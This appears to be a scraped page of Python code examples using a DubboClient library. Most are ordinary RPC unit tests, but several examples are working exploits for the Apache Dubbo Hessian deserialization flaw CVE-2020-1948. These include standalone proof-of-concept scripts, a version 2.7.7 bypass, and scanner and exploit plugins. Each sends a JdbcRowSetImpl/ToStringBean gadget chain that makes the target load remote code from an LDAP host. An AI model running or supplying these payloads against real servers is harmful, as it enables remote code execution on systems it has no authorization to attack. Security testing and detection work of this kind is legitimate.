예제 #1
0
    def test_array(self):
        location1 = Object('me.hourui.echo.bean.Location')
        location1['province'] = '江苏省'
        location1['city'] = '南京市'
        location1['street'] = '软件大道'
        location2 = Object('me.hourui.echo.bean.Location')
        location2['province'] = '浙江省'
        location2['city'] = '杭州市'
        location2['street'] = '余杭区'

        user1 = Object('me.hourui.echo.bean.User1')
        user1['name'] = '张三'
        user2 = Object('me.hourui.echo.bean.User1')
        user2['name'] = '李四'

        array = Object('me.hourui.echo.bean.Object4Array')
        array['locations'] = [location1, location2]
        array['users'] = [user1, user2]
        array['strings'] = [
            '这是', '一个', '不可', '重复', '重复', '重复', '重复', '的', '列表'
        ]

        dubbo_cli = DubboClient('me.hourui.echo.provider.Echo',
                                host='127.0.0.1:20880')
        dubbo_cli.call('test4', [['你好', '我好'], [2, 3, 3, 3], array])
예제 #2
0
    def test_pc_es_center(self):
        zk = ZkRegister('172.19.71.7:2181')
        dubbo_cli = DubboClient('com.qianmi.pc.es.api.EsGoodsQueryProvider',
                                zk_register=zk)

        goods_query_request = Object(
            'com.qianmi.pc.es.api.request.EsGoodsQueryRequest',
            values={
                'chainMasterId': 'A859315',
                'fromSys': 2,
                'pageNum': 50
            })
        result = dubbo_cli.call('query', goods_query_request)
        pretty_print(result)

        goods_list_by_id_request = Object(
            'com.qianmi.pc.es.api.request.EsGoodsListByIdStringRequest',
            values={
                'chainMasterId': 'A859315',
                'idString': 'g51426:g51422'
            })
        result = dubbo_cli.call('listByIdString', goods_list_by_id_request)
        pretty_print(result)

        product_request = Object(
            'com.qianmi.pc.es.api.request.EsGoodsListByIdStringRequest',
            values={
                'chainMasterId': 'A000000',
                'idString': 'NotUsed:g10529'
            })
        result = dubbo_cli.call('listByIdString', product_request)
        pretty_print(result)
예제 #3
0
    def test_run_default(self):
        zk = ZkRegister('172.19.71.7:2181')
        dubbo_cli = DubboClient('com.qianmi.pc.es.api.EsGoodsQueryProvider', zk_register=zk)

        goods_query_request = Object('com.qianmi.pc.es.api.request.EsGoodsQueryRequest', values={
            'chainMasterId': 'A859315',
            'fromSys': 2,
            'pageNum': 1
        })
        result = dubbo_cli.call('query', goods_query_request)
        pretty_print(result)
예제 #4
0
    def test(self):
        import json

        from dubbo.client import DubboClient, ZkRegister

        zk = ZkRegister('172.30.41.18:2181')
        product_service = DubboClient(
            'hry.exchange.api.remote.account.RemoteExProductService',
            group='exchange',
            zk_register=zk)
        customer = Object('hry.model.exchange.ExProduct', {
            'id': 1,
            'withdrawAlertMin': '12.01'
        }, {'withdrawAlertMin': 'java.math.BigDecimal'})
        result = product_service.call('update', customer)
        print(json.dumps(result))
def medusa(**kwargs) -> None:
    Url = kwargs.get("Url")  #获取传入的url参数

    scheme, url, port = UrlProcessing().result(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    try:
        DL = Dnslog()
        client = DubboClient(url, int(port))

        JdbcRowSetImpl = new_object('com.sun.rowset.JdbcRowSetImpl',
                                    dataSource="ldap://" + DL.dns_host(),
                                    strMatchColumns=["foo"])
        JdbcRowSetImplClass = new_object(
            'java.lang.Class',
            name="com.sun.rowset.JdbcRowSetImpl",
        )
        toStringBean = new_object('com.rometools.rome.feed.impl.ToStringBean',
                                  beanClass=JdbcRowSetImplClass,
                                  obj=JdbcRowSetImpl)

        resp = client.send_request_and_return_response(
            service_name=
            'org.apache.dubbo.spring.boot.sample.consumer.DemoService',
            # 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。
            method_name='$invoke',
            args=[toStringBean])
        time.sleep(3)
        if DL.result():
            Medusa = "{} 存在Dubbo反序列化漏洞(CVE-2020-1948)\r\n验证数据:\r\n返回DNSLOG:{}\r\n使用DNSLOG数据:{}\r\n返回数据包:{}\r\n".format(
                url, DL.dns_text(), DL.dns_host(), str(resp))
            _t = VulnerabilityInfo(Medusa)
            VulnerabilityDetails(_t.info, "", **kwargs).Write()  # 传入url和扫描到的数据
            WriteFile().result(str(url),
                               str(Medusa))  #写入文件,url为目标文件名统一传入,Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ErrorHandling().Outlier(e, _)
        ErrorLog().Write("Plugin Name:" + _ + " || Target Url:" + url,
                         e)  # 调用写入类传入URL和错误插件名
예제 #6
0
def exploit(Url: str, RandomAgent: str, proxies: str = None, **kwargs) -> None:
    proxies = Proxies().result(proxies)
    scheme, url, port = UrlProcessing().result(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port

    ExploitUrl = kwargs.get("ExploitUrl")
    try:

        client = DubboClient(url, int(port))

        JdbcRowSetImpl = new_object('com.sun.rowset.JdbcRowSetImpl',
                                    dataSource="ldap://" + ExploitUrl,
                                    strMatchColumns=["foo"])
        JdbcRowSetImplClass = new_object(
            'java.lang.Class',
            name="com.sun.rowset.JdbcRowSetImpl",
        )
        toStringBean = new_object('com.rometools.rome.feed.impl.ToStringBean',
                                  beanClass=JdbcRowSetImplClass,
                                  obj=JdbcRowSetImpl)

        resp = client.send_request_and_return_response(
            service_name=
            'org.apache.dubbo.spring.boot.sample.consumer.DemoService',
            # 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。
            method_name='$invoke',
            args=[toStringBean])
        ExploitOutput().Banner()  #无回显调用函数
        _t = VulnerabilityInfo(str(resp))
        Exploit(_t.info, url, **kwargs).Write()  # 传入url和扫描到的数据
    except Exception as e:
        print(
            "\033[31m[ ! ] Execution error, the error message has been written in the log!\033[0m"
        )
        _ = VulnerabilityInfo('').info.get('algroup')
        ErrorHandling().Outlier(e, _)
        ErrorLog().Write("Plugin Name:" + _ + " || Target Url:" + url +
                         " || Exploit", e)  # 调用写入类传入URL和错误插件名
예제 #7
0
    def test_auto_rule(self):
        dubbo_cli = DubboClient(
            'com.qianmi.common.autorule.api.WarehouseProvider',
            host='172.21.36.82:20880')
        delivery_man_query = Object(
            'com.qianmi.common.autorule.api.request.warehouse.DeliveryManQueryRequest'
        )
        delivery_man_query['userId'] = 'A1035712'
        delivery_man_query['warehouseId'] = '15373'
        delivery_man_query['deliveryManId'] = 'E132862'
        result = dubbo_cli.call('getWarehouseByDeliveryMan',
                                delivery_man_query)
        pretty_print(result)

        delivery_area_query = Object(
            'com.qianmi.common.autorule.api.request.warehouse.DeliveryAreaQueryRequest'
        )
        delivery_area_query['userId'] = 'A1035527'
        delivery_area_query['warehouseId'] = '15346'
        delivery_area = Object(
            'com.qianmi.common.autorule.api.bean.DeliveryArea')
        delivery_area['provinceName'] = '上海'
        delivery_area_query['deliveryArea'] = delivery_area

        result = dubbo_cli.call('getWarehouseByDeliveryArea',
                                delivery_area_query)
        pretty_print(result)

        warehouse_type_request = Object(
            'com.qianmi.common.autorule.api.request.warehouse.GetWarehouseRuleTypeRequest'
        )
        warehouse_type_request['userId'] = 'A1035527'
        warehouse_type_request['warehouseId'] = '15346'
        result = dubbo_cli.call('getWarehouseRuleType', warehouse_type_request)
        pretty_print(result)

        zk_cli = ZkRegister('172.21.4.71:2181')
        dubbo_cli = DubboClient(
            'com.qianmi.common.autorule.api.OrderRuleProvider',
            zk_register=zk_cli)
        order_query = Object(
            'com.qianmi.common.autorule.api.request.order.OrderListByCustomerServiceIdRequest'
        )
        order_query['userId'] = 'A1035527'
        order_query['customerServiceId'] = 'E132802'
        result = dubbo_cli.call('listOrdersByCustomerServiceId', order_query)
        pretty_print(result)
def test_dubbo_handler():
    service = DubboService(12358, 'unittest')

    def _multi_2_handler(num):
        return num * 2

    def _add_handler(a, b):
        return a + b

    def _exp_handler(num):
        return num**2

    def _divide_handler(a, b):
        if b == 0:
            raise DubboError(40, 'divide by zero')
        return a / b

    service.add_method('calc', 'multi2', _multi_2_handler)
    service.add_method('calc', 'add', _add_handler)
    service.add_method('calc', 'exp', _exp_handler)
    service.add_method('calc', 'divide', _divide_handler)
    service.start()
    client = DubboClient('127.0.0.1', 12358)
    assert client.send_request_and_return_response(service_name='calc',
                                                   method_name='exp',
                                                   service_version='1.0',
                                                   args=[4],
                                                   attachment={}).data == 16
    assert client.send_request_and_return_response(service_name='calc',
                                                   method_name='multi2',
                                                   service_version='1.0',
                                                   args=[4],
                                                   attachment={}).data == 8
    assert client.send_request_and_return_response(service_name='calc',
                                                   method_name='divide',
                                                   args=[3, 2]).data == 1.5
    assert client.send_request_and_return_response(
        service_name='calc',
        method_name='$invoke',
        args=['add', ['int', 'int'], [3, 2]],
        attachment={
            'generic': 'true'
        }).data == 5
    error_resp = client.send_request_and_return_response(service_name='calc',
                                                         method_name='divide',
                                                         args=[3, 0])
    assert error_resp.status == 40
    assert error_resp.data is None
    assert error_resp.error == 'divide by zero'
예제 #9
0
    def test_pc(self):
        zk = ZkRegister('172.21.4.71:2181')
        spu_query_provider = DubboClient(
            'com.qianmi.pc.item.api.spu.SpuQueryProvider', zk_register=zk)

        channel = Object('com.qianmi.pc.base.api.constants.ChannelEnum',
                         values={'name': 'D2C'})

        spu_query_request = Object(
            'com.qianmi.pc.item.api.spu.request.SpuQueryRequest')
        spu_query_request['chainMasterId'] = 'A000000'
        spu_query_request['channel'] = channel
        spu_query_request['pageSize'] = 20
        result = spu_query_provider.call('query', spu_query_request)
        # pretty_print(result)
        total = result['totalCount']
        print total
        print len(result['dataList'])

        data_list = result['dataList']
        for data in data_list:
            spu_id = data['spuId']
            spu_desc_request = Object(
                'com.qianmi.pc.item.api.spu.request.SpuDescriptionGetRequest')
            spu_desc_request['spuId'] = spu_id
            print spu_id
            spu_desc_request['chainMasterId'] = 'A000000'
            pretty_print(
                spu_query_provider.call('getDescription', spu_desc_request))

        for data in data_list:
            spu_request = Object(
                'com.qianmi.pc.item.api.spu.request.SpuGetRequest')
            spu_request['chainMasterId'] = 'A000000'
            spu_request['spuId'] = data['spuId']
            spu_request['channelEnum'] = channel

            pretty_print(spu_query_provider.call('getById', spu_request))

        spu_ids = map(lambda spu: spu['spuId'], data_list)
        spu_ids_request = Object(
            'com.qianmi.pc.item.api.spu.request.SpuListByIdsRequest')
        spu_ids_request['chainMasterId'] = 'A000000'
        spu_ids_request['channelEnum'] = channel
        spu_ids_request['spuIds'] = spu_ids
        batch_spu_request = spu_query_provider.call('listByIds',
                                                    spu_ids_request)
        pretty_print(batch_spu_request)
예제 #10
0
from dubbo.codec.hessian2 import Decoder, new_object
from dubbo.client import DubboClient
import sys

client = DubboClient('127.0.0.1', int(sys.argv[1]))

JdbcRowSetImpl = new_object('com.sun.rowset.JdbcRowSetImpl',
                            dataSource="ldap://127.0.0.1:1389/Exploit",
                            strMatchColumns=["foo"])
JdbcRowSetImplClass = new_object(
    'java.lang.Class',
    name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean = new_object('com.rometools.rome.feed.impl.ToStringBean',
                          beanClass=JdbcRowSetImplClass,
                          obj=JdbcRowSetImpl)
# POC 1 CVE-2020-1948
# resp = client.send_request_and_return_response(
#     service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
#     method_name='rce',
#     args=[toStringBean])
# 2.7.7 bypass
resp = client.send_request_and_return_response(
    service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
    method_name=[toStringBean],
    service_version='1.0.0',
    args=[])

print(resp)
예제 #11
0
 def test_run(self):
     zk = ZkRegister('127.0.0.1:2181')
     dubbo_cli = DubboClient('me.hourui.echo.provider.Echo', zk_register=zk)
     for i in xrange(4):
         thread = threading.Thread(target=run, args=(dubbo_cli,))
         thread.start()
예제 #12
0
    def setUp(self):
        init_log()  # 初始化日志配置,调用端需要自己配置日志属性

        zk = ZkRegister('127.0.0.1:2181')
        self.dubbo = DubboClient('me.hourui.echo.provider.Echo',
                                 zk_register=zk)
예제 #13
0
class TestDubbo(unittest.TestCase):
    def setUp(self):
        init_log()  # 初始化日志配置,调用端需要自己配置日志属性

        zk = ZkRegister('127.0.0.1:2181')
        self.dubbo = DubboClient('me.hourui.echo.provider.Echo',
                                 zk_register=zk)
        # self.dubbo = DubboClient('me.hourui.echo.provider.Echo', host='127.0.0.1:20880')

    def tearDown(self):
        # Do something to clear the test environment here.
        pass

    # @unittest.skip('skip base test')
    def test(self):
        dubbo = self.dubbo

        pretty_print(dubbo.call('echo', ['张老师', '三', 19, 2000.0, True]))
        pretty_print(
            dubbo.call('echo1', '昊天金阙无上至尊自然妙有弥罗至真高天上圣大慈仁者玉皇赦罪锡福大天尊玄穹高上帝'))
        pretty_print(dubbo.call('echo2', False))
        pretty_print(dubbo.call('echo3', [1000000000, 0x7ff, 100000, 10000]))
        pretty_print(dubbo.call('echo4',
                                [1.00000004, 100000.0, 1.0, 2.0, 0.0]))
        self.assertEquals('🐶', dubbo.call('echo1', '🐶'))
        self.assertEquals(200, dubbo.call('echo5', 200))
        self.assertEquals(10000, dubbo.call('echo5', 10000))

        self.assertEquals(0.0, dubbo.call('echo6', 0.0))
        self.assertEquals(1.0, dubbo.call('echo6', 1.0))
        self.assertEquals(100.0, dubbo.call('echo6', 100.0))
        self.assertEquals(100000.0, dubbo.call('echo6', 100000.0))

        self.assertEquals(10000000000, dubbo.call('echo7', 10000000000))
        self.assertEquals(0, dubbo.call('echo7', 0))
        self.assertEquals(100, dubbo.call('echo7', 100))
        self.assertEquals(1000, dubbo.call('echo7', 1000))
        self.assertEquals(100000, dubbo.call('echo7', 100000))

        pretty_print(dubbo.call('echo8'))
        pretty_print(dubbo.call('echo9'))
        pretty_print(dubbo.call('echo10'))
        pretty_print(dubbo.call('echo11'))
        pretty_print(dubbo.call('echo12'))
        pretty_print(dubbo.call('echo13'))
        pretty_print(dubbo.call('echo14'))
        pretty_print(dubbo.call('echo15'))
        pretty_print(dubbo.call('echo16'))

        with self.assertRaises(DubboException) as context:
            pretty_print(dubbo.call('echo17'))
            self.assertTrue('This is broken' in context.exception)

        pretty_print(dubbo.call('echo1', 'hello'))
        pretty_print(dubbo.call('echo18'))
        pretty_print(dubbo.call('echo19'))
        pretty_print(dubbo.call('echo20'))
        pretty_print(dubbo.call('echo21'))
        pretty_print(dubbo.call('echo22'))
        pretty_print(dubbo.call('echo23'))

        log = logging.getLogger('python-dubbo')
        log.debug('1111')
        log.info('22222')

    def _run_num(self):
        dubbo = self.dubbo

        self.assertEquals(-200, dubbo.call('echo5', -200))
        self.assertEquals(-10000, dubbo.call('echo5', -10000))
        self.assertEquals(200, dubbo.call('echo5', 200))
        self.assertEquals(10000, dubbo.call('echo5', 10000))

        self.assertEquals(0.0, dubbo.call('echo6', 0.0))
        self.assertEquals(1.0, dubbo.call('echo6', 1.0))
        self.assertEquals(100.0, dubbo.call('echo6', 100.0))
        self.assertEquals(100000.0, dubbo.call('echo6', 100000.0))

        self.assertEquals(10000000000, dubbo.call('echo7', 10000000000))
        self.assertEquals(0, dubbo.call('echo7', 0))
        self.assertEquals(100, dubbo.call('echo7', 100))
        self.assertEquals(1000, dubbo.call('echo7', 1000))
        self.assertEquals(100000, dubbo.call('echo7', 100000))

        self.assertEquals(3.1415926, dubbo.call('echo6', 3.1415926))

        self.assertEquals(-1.0, dubbo.call('echo6', -1.0))
        self.assertEquals(-100.0, dubbo.call('echo6', -100.0))
        self.assertEquals(-100000.0, dubbo.call('echo6', -100000.0))

        self.assertEquals(-10000000000, dubbo.call('echo7', -10000000000))
        self.assertEquals(-100, dubbo.call('echo7', -100))
        self.assertEquals(-1000, dubbo.call('echo7', -1000))
        self.assertEquals(-100000, dubbo.call('echo7', -100000))

    # @unittest.skip('skip performance test')
    def test_multi_threading(self):
        for i in xrange(10):
            thread = threading.Thread(target=self._run_num)
            thread.start()

    # @unittest.skip('skip performance test')
    def test_performance(self):
        for i in xrange(10):
            self.dubbo.call('echo18')

    def test_auto_rule(self):
        dubbo_cli = DubboClient(
            'com.qianmi.common.autorule.api.WarehouseProvider',
            host='172.21.36.82:20880')
        delivery_man_query = Object(
            'com.qianmi.common.autorule.api.request.warehouse.DeliveryManQueryRequest'
        )
        delivery_man_query['userId'] = 'A1035712'
        delivery_man_query['warehouseId'] = '15373'
        delivery_man_query['deliveryManId'] = 'E132862'
        result = dubbo_cli.call('getWarehouseByDeliveryMan',
                                delivery_man_query)
        pretty_print(result)

        delivery_area_query = Object(
            'com.qianmi.common.autorule.api.request.warehouse.DeliveryAreaQueryRequest'
        )
        delivery_area_query['userId'] = 'A1035527'
        delivery_area_query['warehouseId'] = '15346'
        delivery_area = Object(
            'com.qianmi.common.autorule.api.bean.DeliveryArea')
        delivery_area['provinceName'] = '上海'
        delivery_area_query['deliveryArea'] = delivery_area

        result = dubbo_cli.call('getWarehouseByDeliveryArea',
                                delivery_area_query)
        pretty_print(result)

        warehouse_type_request = Object(
            'com.qianmi.common.autorule.api.request.warehouse.GetWarehouseRuleTypeRequest'
        )
        warehouse_type_request['userId'] = 'A1035527'
        warehouse_type_request['warehouseId'] = '15346'
        result = dubbo_cli.call('getWarehouseRuleType', warehouse_type_request)
        pretty_print(result)

        zk_cli = ZkRegister('172.21.4.71:2181')
        dubbo_cli = DubboClient(
            'com.qianmi.common.autorule.api.OrderRuleProvider',
            zk_register=zk_cli)
        order_query = Object(
            'com.qianmi.common.autorule.api.request.order.OrderListByCustomerServiceIdRequest'
        )
        order_query['userId'] = 'A1035527'
        order_query['customerServiceId'] = 'E132802'
        result = dubbo_cli.call('listOrdersByCustomerServiceId', order_query)
        pretty_print(result)

    @unittest.skip('object')
    def test_object(self):
        new_user = Object('me.hourui.echo.bean.NewUser')
        user1 = Object('me.hourui.echo.bean.User1')
        user2 = Object('me.hourui.echo.bean.User2')
        user3 = Object('me.hourui.echo.bean.User3')
        user4 = Object('me.hourui.echo.bean.User4')
        user5 = Object('me.hourui.echo.bean.User5')
        user6 = Object('me.hourui.echo.bean.User6')
        user7 = Object('me.hourui.echo.bean.User7')
        user8 = Object('me.hourui.echo.bean.User8')
        user9 = Object('me.hourui.echo.bean.User9')
        user10 = Object('me.hourui.echo.bean.User10')
        user11 = Object('me.hourui.echo.bean.User11')
        user12 = Object('me.hourui.echo.bean.User12')
        user13 = Object('me.hourui.echo.bean.User13')

        location = Object('me.hourui.echo.bean.Location')
        location['province'] = '江苏省'
        location['city'] = '南京市'
        location['street'] = '软件大道'

        name = Object('me.hourui.echo.bean.Name')
        name['firstName'] = '隔壁的'
        name['lastName'] = '王叔叔'

        employee = Object('me.hourui.echo.bean.retail.Employee')
        employee['id'] = 'A137639'
        employee['name'] = '我勒个去居然不能用emoji啊'

        lock = Object('me.hourui.echo.bean.retail.Lock')
        lock['lockReason'] = '加锁的原因是什么呢?🤔'
        lock['employee'] = employee
        lock['locked'] = True

        new_user['user1'] = user1
        new_user['user2'] = user2
        new_user['user3'] = user3
        new_user['user4'] = user4
        new_user['user5'] = user5
        new_user['user6'] = user6
        new_user['user7'] = user7
        new_user['user8'] = user8
        new_user['user9'] = user9
        new_user['user10'] = user10
        new_user['user11'] = user11
        new_user['user12'] = user12
        new_user['user13'] = user13
        new_user['location'] = location
        new_user['name'] = name
        new_user['lock'] = lock

        result = self.dubbo.call(
            'test1', [new_user, name, '一个傻傻的用于测试的字符串', location, lock])
        # result = dubbo.call('echo23')
        pretty_print(result)

    def test_array(self):
        location1 = Object('me.hourui.echo.bean.Location')
        location1['province'] = '江苏省'
        location1['city'] = '南京市'
        location1['street'] = '软件大道'
        location2 = Object('me.hourui.echo.bean.Location')
        location2['province'] = '浙江省'
        location2['city'] = '杭州市'
        location2['street'] = '余杭区'

        user1 = Object('me.hourui.echo.bean.User1')
        user1['name'] = '张三'
        user2 = Object('me.hourui.echo.bean.User1')
        user2['name'] = '李四'

        array = Object('me.hourui.echo.bean.Object4Array')
        array['locations'] = [location1, location2]
        array['users'] = [user1, user2]
        array['strings'] = [
            '这是', '一个', '不可', '重复', '重复', '重复', '重复', '的', '列表'
        ]

        dubbo_cli = DubboClient('me.hourui.echo.provider.Echo',
                                host='127.0.0.1:20880')
        dubbo_cli.call('test4', [['你好', '我好'], [2, 3, 3, 3], array])

    def test_pc(self):
        zk = ZkRegister('172.21.4.71:2181')
        spu_query_provider = DubboClient(
            'com.qianmi.pc.item.api.spu.SpuQueryProvider', zk_register=zk)

        channel = Object('com.qianmi.pc.base.api.constants.ChannelEnum',
                         values={'name': 'D2C'})

        spu_query_request = Object(
            'com.qianmi.pc.item.api.spu.request.SpuQueryRequest')
        spu_query_request['chainMasterId'] = 'A000000'
        spu_query_request['channel'] = channel
        spu_query_request['pageSize'] = 20
        result = spu_query_provider.call('query', spu_query_request)
        # pretty_print(result)
        total = result['totalCount']
        print total
        print len(result['dataList'])

        data_list = result['dataList']
        for data in data_list:
            spu_id = data['spuId']
            spu_desc_request = Object(
                'com.qianmi.pc.item.api.spu.request.SpuDescriptionGetRequest')
            spu_desc_request['spuId'] = spu_id
            print spu_id
            spu_desc_request['chainMasterId'] = 'A000000'
            pretty_print(
                spu_query_provider.call('getDescription', spu_desc_request))

        for data in data_list:
            spu_request = Object(
                'com.qianmi.pc.item.api.spu.request.SpuGetRequest')
            spu_request['chainMasterId'] = 'A000000'
            spu_request['spuId'] = data['spuId']
            spu_request['channelEnum'] = channel

            pretty_print(spu_query_provider.call('getById', spu_request))

        spu_ids = map(lambda spu: spu['spuId'], data_list)
        spu_ids_request = Object(
            'com.qianmi.pc.item.api.spu.request.SpuListByIdsRequest')
        spu_ids_request['chainMasterId'] = 'A000000'
        spu_ids_request['channelEnum'] = channel
        spu_ids_request['spuIds'] = spu_ids
        batch_spu_request = spu_query_provider.call('listByIds',
                                                    spu_ids_request)
        pretty_print(batch_spu_request)

    def test_pc_es_center(self):
        zk = ZkRegister('172.19.71.7:2181')
        dubbo_cli = DubboClient('com.qianmi.pc.es.api.EsGoodsQueryProvider',
                                zk_register=zk)

        goods_query_request = Object(
            'com.qianmi.pc.es.api.request.EsGoodsQueryRequest',
            values={
                'chainMasterId': 'A859315',
                'fromSys': 2,
                'pageNum': 50
            })
        result = dubbo_cli.call('query', goods_query_request)
        pretty_print(result)

        goods_list_by_id_request = Object(
            'com.qianmi.pc.es.api.request.EsGoodsListByIdStringRequest',
            values={
                'chainMasterId': 'A859315',
                'idString': 'g51426:g51422'
            })
        result = dubbo_cli.call('listByIdString', goods_list_by_id_request)
        pretty_print(result)

        product_request = Object(
            'com.qianmi.pc.es.api.request.EsGoodsListByIdStringRequest',
            values={
                'chainMasterId': 'A000000',
                'idString': 'NotUsed:g10529'
            })
        result = dubbo_cli.call('listByIdString', product_request)
        pretty_print(result)
예제 #14
0
# -*- coding: utf-8 -*-
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
import sys



if __name__ == '__main__':
  target=sys.argv[1]
  target_port=int(sys.argv[2])
  client = DubboClient(target, target_port)

  JdbcRowSetImpl=new_object(
        'com.sun.rowset.JdbcRowSetImpl',
        dataSource="ldap://127.0.0.1:3345/Poc",
        strMatchColumns=["foo"]
        )
  JdbcRowSetImplClass=new_object(
        'java.lang.Class',
        name="com.sun.rowset.JdbcRowSetImpl",
        )
  toStringBean=new_object(
        'com.rometools.rome.feed.impl.ToStringBean',
        beanClass=JdbcRowSetImplClass,
        obj=JdbcRowSetImpl
        )

  resp = client.send_request_and_return_response(
      service_name='cn.dubbo_scanner_Tsldfs',
      method_name='verify_sdfijwe',
      args=[toStringBean])
예제 #15
0
def get_ip(ifname): 
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 
        inet = fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', ifname[:15]))
        ret = socket.inet_ntoa(inet[20:24]) 
        return ret 




if __name__ == "__main__":
    if len(sys.argv) < 2:
        print "Usage: %s service" % sys.argv[0]
        sys.exit()

    ip = get_ip('eth0')
    service = sys.argv[1]
    if not SERVICE_LIST.has_key(service):
        print 0
        sys.exit()
    port, interface = SERVICE_LIST.get(service)
    dubbo_cli = DubboClient( "%s" % interface , host='%s:%s' % (ip, port))
    try:
        res = dubbo_cli.call("check", "test", timeout=6)
        data = 0
        if res == "test OK":
            data = 1
    except:
        data = 0

    print data
    sys.exit()
예제 #16
0
#-*- coding:utf8 -*-
"""
create by:galaxyLab
"""

from dubbo.codec.hessian2 import Decoder, new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 12347)

JdbcRowSetImpl = new_object('com.sun.rowset.JdbcRowSetImpl',
                            dataSource="ldap://1.1.1.1:1099/calc",
                            strMatchColumns=["foo"])
JdbcRowSetImplClass = new_object(
    'java.lang.Class',
    name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean = new_object('com.rometools.rome.feed.impl.ToStringBean',
                          beanClass=JdbcRowSetImplClass,
                          obj=JdbcRowSetImpl)

resp = client.send_request_and_return_response(service_name='cn.url',
                                               method_name='$echo',
                                               args=[toStringBean])
예제 #17
0
from dubbo.client import DubboClient

if __name__ == '__main__':
    client = DubboClient('127.0.0.1', 12358)
    resp = client.send_request_and_return_response(service_name='calc',
                                                   method_name='exp',
                                                   args=[4])
    print(resp.data)  # 16
예제 #18
0
# -*- coding: utf-8 -*-
#pip3 install dubbo-py
from dubbo.codec.hessian2 import Decoder, new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 12345)

JdbcRowSetImpl = new_object('com.sun.rowset.JdbcRowSetImpl',
                            dataSource="ldap://127.0.0.1:8087/Exploit",
                            strMatchColumns=["foo"])
JdbcRowSetImplClass = new_object(
    'java.lang.Class',
    name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean = new_object('com.rometools.rome.feed.impl.ToStringBean',
                          beanClass=JdbcRowSetImplClass,
                          obj=JdbcRowSetImpl)

resp = client.send_request_and_return_response(service_name='cn.rui0',
                                               method_name='rce',
                                               args=[toStringBean])